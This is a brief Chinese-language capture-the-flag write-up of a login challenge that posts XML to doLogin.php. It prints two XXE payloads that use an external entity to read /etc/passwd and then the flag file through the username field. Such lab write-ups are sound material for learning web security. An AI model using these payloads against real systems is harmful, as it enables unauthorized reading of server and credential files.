日常刷题，打开题目
嗯。。。一开始我的脑子里想到的是禁止自娱自乐[狗头]，哈哈，第一想法就是试一下admin，别问为什么,web狗的自觉。
果然没这么容易，抓包：
将提交的数据放到了doLogin.php下，题目提示XML，百度一下
https://www.freebuf.com/vuls/175451.html
xee外部实体，那么构建我们的恶意的外部实体，实现攻击。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
成功，读取flag
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>
